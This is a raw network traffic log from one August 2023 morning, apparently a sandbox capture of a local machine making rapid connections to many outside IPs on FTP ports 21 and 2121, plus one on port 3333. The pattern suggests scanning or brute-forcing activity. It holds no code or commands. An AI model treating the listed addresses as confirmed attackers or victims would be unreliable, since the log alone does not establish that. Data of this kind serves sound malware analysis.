Aug 23, 2023 09:15:57.358191013 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.358311892 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.358872890 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.375385046 CEST	2121	51428	93.90.74.51	192.168.2.3
Aug 23, 2023 09:15:57.427786112 CEST	51353	21	192.168.2.3	189.191.52.5
Aug 23, 2023 09:15:57.427833080 CEST	51354	2121	192.168.2.3	189.191.52.5
Aug 23, 2023 09:15:57.427839994 CEST	51355	21	192.168.2.3	104.64.171.28
Aug 23, 2023 09:15:57.461093903 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.462147951 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.462249994 CEST	51426	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:57.471836090 CEST	51356	2121	192.168.2.3	104.64.171.28
Aug 23, 2023 09:15:57.471836090 CEST	51357	21	192.168.2.3	173.177.27.226
Aug 23, 2023 09:15:57.471843004 CEST	51358	2121	192.168.2.3	173.177.27.226
Aug 23, 2023 09:15:57.488214016 CEST	51430	21	192.168.2.3	24.95.141.161
Aug 23, 2023 09:15:57.529815912 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.530320883 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.530430079 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.537936926 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.538247108 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.568015099 CEST	2121	51408	211.60.26.190	192.168.2.3
Aug 23, 2023 09:15:57.570597887 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.571350098 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.571618080 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.605253935 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.606175900 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.613118887 CEST	51431	2121	192.168.2.3	24.95.141.161
Aug 23, 2023 09:15:57.639082909 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.639132023 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.639189959 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.639379025 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.640105009 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.672550917 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.677927971 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.678021908 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.686888933 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.687284946 CEST	51426	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:57.692186117 CEST	51433	21	192.168.2.3	219.74.235.64
Aug 23, 2023 09:15:57.727492094 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.727907896 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.784396887 CEST	51425	21	192.168.2.3	93.90.74.51
Aug 23, 2023 09:15:57.814075947 CEST	21	51425	93.90.74.51	192.168.2.3
Aug 23, 2023 09:15:57.824886084 CEST	51402	21	192.168.2.3	216.239.178.107
Aug 23, 2023 09:15:57.824929953 CEST	51403	2121	192.168.2.3	216.239.178.107
Aug 23, 2023 09:15:57.868187904 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.868671894 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.899188042 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.900515079 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.900718927 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.900847912 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.901310921 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.901474953 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.901757956 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.935604095 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.935936928 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.956221104 CEST	51428	2121	192.168.2.3	93.90.74.51
Aug 23, 2023 09:15:57.963136911 CEST	21	51402	216.239.178.107	192.168.2.3
Aug 23, 2023 09:15:57.963176966 CEST	2121	51403	216.239.178.107	192.168.2.3
Aug 23, 2023 09:15:57.964206934 CEST	51435	21	192.168.2.3	83.93.11.240
Aug 23, 2023 09:15:57.964386940 CEST	51436	2121	192.168.2.3	219.74.235.64
Aug 23, 2023 09:15:57.968331099 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.968529940 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.968588114 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.968650103 CEST	51432	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.969263077 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.971848011 CEST	51365	21	192.168.2.3	73.143.146.80
Aug 23, 2023 09:15:57.986027956 CEST	2121	51428	93.90.74.51	192.168.2.3
Aug 23, 2023 09:15:58.000791073 CEST	2121	51432	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.001416922 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.001516104 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.068473101 CEST	51438	2121	192.168.2.3	83.93.11.240
Aug 23, 2023 09:15:58.068551064 CEST	51440	2121	192.168.2.3	116.96.126.205
Aug 23, 2023 09:15:58.068553925 CEST	51439	21	192.168.2.3	116.96.126.205
Aug 23, 2023 09:15:58.068604946 CEST	51442	21	192.168.2.3	60.115.119.115
Aug 23, 2023 09:15:58.068613052 CEST	51441	21	192.168.2.3	73.3.190.84
Aug 23, 2023 09:15:58.068695068 CEST	51443	2121	192.168.2.3	60.115.119.115
Aug 23, 2023 09:15:58.068696022 CEST	51444	2121	192.168.2.3	73.3.190.84
Aug 23, 2023 09:15:58.072968960 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.073652029 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.081254959 CEST	51373	2121	192.168.2.3	5.186.190.79
Aug 23, 2023 09:15:58.081368923 CEST	51372	21	192.168.2.3	5.186.190.79
Aug 23, 2023 09:15:58.081372976 CEST	51376	21	192.168.2.3	217.35.29.68
Aug 23, 2023 09:15:58.097882986 CEST	51446	2121	192.168.2.3	208.77.87.241
Aug 23, 2023 09:15:58.097887039 CEST	51445	21	192.168.2.3	208.77.87.241
Aug 23, 2023 09:15:58.126146078 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.129785061 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.159476995 CEST	51370	21	192.168.2.3	24.56.254.39
Aug 23, 2023 09:15:58.159481049 CEST	51369	2121	192.168.2.3	219.71.170.127
Aug 23, 2023 09:15:58.159491062 CEST	51367	2121	192.168.2.3	73.143.146.80
Aug 23, 2023 09:15:58.159495115 CEST	51374	21	192.168.2.3	201.233.192.187
Aug 23, 2023 09:15:58.159495115 CEST	51408	2121	192.168.2.3	211.60.26.190
Aug 23, 2023 09:15:58.159605980 CEST	51371	2121	192.168.2.3	24.56.254.39
Aug 23, 2023 09:15:58.159607887 CEST	51375	2121	192.168.2.3	201.233.192.187
Aug 23, 2023 09:15:58.159609079 CEST	51368	21	192.168.2.3	219.71.170.127
Aug 23, 2023 09:15:58.161864996 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.162596941 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.163029909 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.197263956 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.197743893 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.207478046 CEST	51447	21	192.168.2.3	27.137.0.211
Aug 23, 2023 09:15:58.210395098 CEST	2121	51446	208.77.87.241	192.168.2.3
Aug 23, 2023 09:15:58.211709976 CEST	21	51445	208.77.87.241	192.168.2.3
Aug 23, 2023 09:15:58.232935905 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.233092070 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.234327078 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.234853983 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.234854937 CEST	51437	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.245275974 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.245301008 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.246031046 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.246031046 CEST	51429	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.247121096 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.263669968 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.263870001 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.266746998 CEST	2121	51437	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.270045996 CEST	51450	2121	192.168.2.3	27.137.0.211
Aug 23, 2023 09:15:58.284424067 CEST	51380	21	192.168.2.3	52.97.153.230
Aug 23, 2023 09:15:58.284427881 CEST	51377	2121	192.168.2.3	217.35.29.68
Aug 23, 2023 09:15:58.287482977 CEST	51381	2121	192.168.2.3	52.97.153.230
Aug 23, 2023 09:15:58.355848074 CEST	2121	51443	60.115.119.115	192.168.2.3
Aug 23, 2023 09:15:58.357268095 CEST	21	51442	60.115.119.115	192.168.2.3
Aug 23, 2023 09:15:58.362536907 CEST	51382	21	192.168.2.3	217.254.197.227
Aug 23, 2023 09:15:58.362620115 CEST	51383	2121	192.168.2.3	217.254.197.227
Aug 23, 2023 09:15:58.417363882 CEST	21	51429	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.417762041 CEST	2121	51408	211.60.26.190	192.168.2.3
Aug 23, 2023 09:15:58.418390989 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.418880939 CEST	51451	21	192.168.2.3	79.54.21.121
Aug 23, 2023 09:15:58.419596910 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.430877924 CEST	51452	2121	192.168.2.3	79.54.21.121
Aug 23, 2023 09:15:58.457854986 CEST	51453	21	192.168.2.3	157.90.22.42
Aug 23, 2023 09:15:58.457859039 CEST	51454	2121	192.168.2.3	157.90.22.42
Aug 23, 2023 09:15:58.459709883 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.463499069 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.472034931 CEST	51425	21	192.168.2.3	93.90.74.51
Aug 23, 2023 09:15:58.478539944 CEST	2121	51454	157.90.22.42	192.168.2.3
Aug 23, 2023 09:15:58.478846073 CEST	21	51453	157.90.22.42	192.168.2.3
Aug 23, 2023 09:15:58.492019892 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.492901087 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.493630886 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.501787901 CEST	21	51425	93.90.74.51	192.168.2.3
Aug 23, 2023 09:15:58.504308939 CEST	51455	21	192.168.2.3	218.55.26.7
Aug 23, 2023 09:15:58.523981094 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.529787064 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.550091982 CEST	51389	2121	192.168.2.3	222.253.145.148
Aug 23, 2023 09:15:58.550190926 CEST	51388	21	192.168.2.3	222.253.145.148
Aug 23, 2023 09:15:58.550192118 CEST	51428	2121	192.168.2.3	93.90.74.51
Aug 23, 2023 09:15:58.558727980 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.558836937 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.558979034 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.559434891 CEST	51448	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.563442945 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.567502975 CEST	51457	2121	192.168.2.3	218.55.26.7
Aug 23, 2023 09:15:58.579637051 CEST	2121	51428	93.90.74.51	192.168.2.3
Aug 23, 2023 09:15:58.580976963 CEST	51458	21	192.168.2.3	72.201.117.162
Aug 23, 2023 09:15:58.581290960 CEST	51391	21	192.168.2.3	73.59.250.177
Aug 23, 2023 09:15:58.581295013 CEST	51390	2121	192.168.2.3	73.59.250.177
Aug 23, 2023 09:15:58.587893963 CEST	2121	51448	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.596524000 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.598814964 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.615847111 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.617048979 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.677421093 CEST	51459	2121	192.168.2.3	72.201.117.162
Aug 23, 2023 09:15:58.778350115 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.781418085 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.784498930 CEST	51395	2121	192.168.2.3	77.3.56.125
Aug 23, 2023 09:15:58.784499884 CEST	51394	21	192.168.2.3	77.3.56.125
Aug 23, 2023 09:15:58.784503937 CEST	51445	21	192.168.2.3	208.77.87.241
Aug 23, 2023 09:15:58.784601927 CEST	51446	2121	192.168.2.3	208.77.87.241
Aug 23, 2023 09:15:58.788403988 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.789527893 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.793785095 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.800460100 CEST	21	51455	218.55.26.7	192.168.2.3
Aug 23, 2023 09:15:58.814254045 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.814733028 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.815536976 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.848440886 CEST	2121	51457	218.55.26.7	192.168.2.3
Aug 23, 2023 09:15:58.851108074 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.854058027 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.886290073 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.886434078 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.887238026 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.887244940 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.887244940 CEST	51456	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.896989107 CEST	2121	51446	208.77.87.241	192.168.2.3
Aug 23, 2023 09:15:58.898363113 CEST	21	51445	208.77.87.241	192.168.2.3
Aug 23, 2023 09:15:58.901833057 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:58.905777931 CEST	51426	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:58.917793989 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.920304060 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:58.921427965 CEST	2121	51456	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:58.965738058 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:58.968684912 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:58.971935987 CEST	51397	2121	192.168.2.3	147.161.169.71
Aug 23, 2023 09:15:58.971940041 CEST	51398	21	192.168.2.3	67.169.162.42
Aug 23, 2023 09:15:58.972637892 CEST	51442	21	192.168.2.3	60.115.119.115
Aug 23, 2023 09:15:58.972642899 CEST	51399	2121	192.168.2.3	67.169.162.42
Aug 23, 2023 09:15:58.972649097 CEST	51443	2121	192.168.2.3	60.115.119.115
Aug 23, 2023 09:15:59.035101891 CEST	51461	21	192.168.2.3	12.189.148.223
Aug 23, 2023 09:15:59.050088882 CEST	51273	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:59.050122976 CEST	51454	2121	192.168.2.3	157.90.22.42
Aug 23, 2023 09:15:59.050126076 CEST	51453	21	192.168.2.3	157.90.22.42
Aug 23, 2023 09:15:59.050700903 CEST	51462	2121	192.168.2.3	12.189.148.223
Aug 23, 2023 09:15:59.070599079 CEST	2121	51454	157.90.22.42	192.168.2.3
Aug 23, 2023 09:15:59.070928097 CEST	21	51453	157.90.22.42	192.168.2.3
Aug 23, 2023 09:15:59.097836018 CEST	51463	21	192.168.2.3	178.167.108.198
Aug 23, 2023 09:15:59.105379105 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.105807066 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.119106054 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.119498968 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.119518042 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.119607925 CEST	51426	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:59.119784117 CEST	51426	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:59.120419979 CEST	51464	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:59.136321068 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.137025118 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.137389898 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.140191078 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.140245914 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.140310049 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.140496969 CEST	51449	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.141134977 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.169650078 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.170839071 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.201930046 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.202007055 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.202054024 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.202274084 CEST	51460	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.203238010 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.232511997 CEST	2121	51460	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.236387968 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.236474037 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.238482952 CEST	51467	2121	192.168.2.3	178.167.108.198
Aug 23, 2023 09:15:59.259718895 CEST	2121	51443	60.115.119.115	192.168.2.3
Aug 23, 2023 09:15:59.260751009 CEST	21	51442	60.115.119.115	192.168.2.3
Aug 23, 2023 09:15:59.269624949 CEST	51468	21	192.168.2.3	70.182.227.94
Aug 23, 2023 09:15:59.311558008 CEST	21	51449	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.313529015 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.313594103 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.332925081 CEST	21	51426	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.333898067 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.333966970 CEST	51464	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:59.373820066 CEST	21	51468	70.182.227.94	192.168.2.3
Aug 23, 2023 09:15:59.412442923 CEST	51469	2121	192.168.2.3	70.182.227.94
Aug 23, 2023 09:15:59.429528952 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.430047989 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.443727016 CEST	51470	21	192.168.2.3	75.162.161.219
Aug 23, 2023 09:15:59.444287062 CEST	51471	2121	192.168.2.3	75.162.161.219
Aug 23, 2023 09:15:59.444375992 CEST	51472	21	192.168.2.3	201.121.117.80
Aug 23, 2023 09:15:59.444439888 CEST	51473	2121	192.168.2.3	201.121.117.80
Aug 23, 2023 09:15:59.457247972 CEST	51474	21	192.168.2.3	121.148.52.169
Aug 23, 2023 09:15:59.462186098 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.463526011 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.463923931 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.472029924 CEST	51455	21	192.168.2.3	218.55.26.7
Aug 23, 2023 09:15:59.472054005 CEST	51446	2121	192.168.2.3	208.77.87.241
Aug 23, 2023 09:15:59.472059965 CEST	51445	21	192.168.2.3	208.77.87.241
Aug 23, 2023 09:15:59.472067118 CEST	51457	2121	192.168.2.3	218.55.26.7
Aug 23, 2023 09:15:59.474365950 CEST	51404	21	192.168.2.3	148.170.68.179
Aug 23, 2023 09:15:59.497385979 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.497736931 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.517023087 CEST	2121	51469	70.182.227.94	192.168.2.3
Aug 23, 2023 09:15:59.530611992 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.530632973 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.530698061 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.530900955 CEST	51466	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.531599998 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.533508062 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.533735991 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.557528973 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.557786942 CEST	51464	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:59.563220024 CEST	2121	51466	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.565530062 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.565596104 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.581351042 CEST	51406	2121	192.168.2.3	148.170.68.179
Aug 23, 2023 09:15:59.581370115 CEST	51409	2121	192.168.2.3	211.220.119.129
Aug 23, 2023 09:15:59.581468105 CEST	51410	21	192.168.2.3	211.220.119.129
Aug 23, 2023 09:15:59.581478119 CEST	51411	21	192.168.2.3	85.89.72.23
Aug 23, 2023 09:15:59.585127115 CEST	2121	51446	208.77.87.241	192.168.2.3
Aug 23, 2023 09:15:59.585844040 CEST	51476	2121	192.168.2.3	121.148.52.169
Aug 23, 2023 09:15:59.585937977 CEST	21	51445	208.77.87.241	192.168.2.3
Aug 23, 2023 09:15:59.587172985 CEST	51477	21	192.168.2.3	13.225.70.73
Aug 23, 2023 09:15:59.626832008 CEST	51412	2121	192.168.2.3	85.89.72.23
Aug 23, 2023 09:15:59.626847982 CEST	51413	21	192.168.2.3	97.65.105.232
Aug 23, 2023 09:15:59.626853943 CEST	51407	21	192.168.2.3	211.60.26.190
Aug 23, 2023 09:15:59.626854897 CEST	51414	2121	192.168.2.3	97.65.105.232
Aug 23, 2023 09:15:59.626915932 CEST	51453	21	192.168.2.3	157.90.22.42
Aug 23, 2023 09:15:59.626919985 CEST	51454	2121	192.168.2.3	157.90.22.42
Aug 23, 2023 09:15:59.647555113 CEST	2121	51454	157.90.22.42	192.168.2.3
Aug 23, 2023 09:15:59.647934914 CEST	21	51453	157.90.22.42	192.168.2.3
Aug 23, 2023 09:15:59.649162054 CEST	51478	2121	192.168.2.3	13.225.70.73
Aug 23, 2023 09:15:59.649411917 CEST	51479	21	192.168.2.3	92.74.44.122
Aug 23, 2023 09:15:59.705600977 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.706571102 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.707393885 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.711597919 CEST	21	51474	121.148.52.169	192.168.2.3
Aug 23, 2023 09:15:59.753032923 CEST	2121	51457	218.55.26.7	192.168.2.3
Aug 23, 2023 09:15:59.757193089 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.757642031 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.768203020 CEST	21	51455	218.55.26.7	192.168.2.3
Aug 23, 2023 09:15:59.771217108 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:59.784508944 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:59.784563065 CEST	51442	21	192.168.2.3	60.115.119.115
Aug 23, 2023 09:15:59.784858942 CEST	51443	2121	192.168.2.3	60.115.119.115
Aug 23, 2023 09:15:59.791315079 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.791362047 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.791865110 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.825546026 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.825845957 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.840379000 CEST	2121	51476	121.148.52.169	192.168.2.3
Aug 23, 2023 09:15:59.858843088 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.858858109 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.858923912 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.859107018 CEST	51475	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.859766960 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.881553888 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:59.882000923 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:59.891535997 CEST	2121	51475	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.893553019 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:59.893929005 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:59.957302094 CEST	51481	2121	192.168.2.3	92.74.44.122
Aug 23, 2023 09:15:59.970994949 CEST	51468	21	192.168.2.3	70.182.227.94
Aug 23, 2023 09:15:59.972017050 CEST	51416	21	192.168.2.3	189.144.71.138
Aug 23, 2023 09:15:59.972033024 CEST	51417	2121	192.168.2.3	189.144.71.138
Aug 23, 2023 09:16:00.053559065 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.053581953 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.053741932 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.053937912 CEST	51465	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.054589033 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.073379040 CEST	2121	51443	60.115.119.115	192.168.2.3
Aug 23, 2023 09:16:00.073406935 CEST	21	51442	60.115.119.115	192.168.2.3
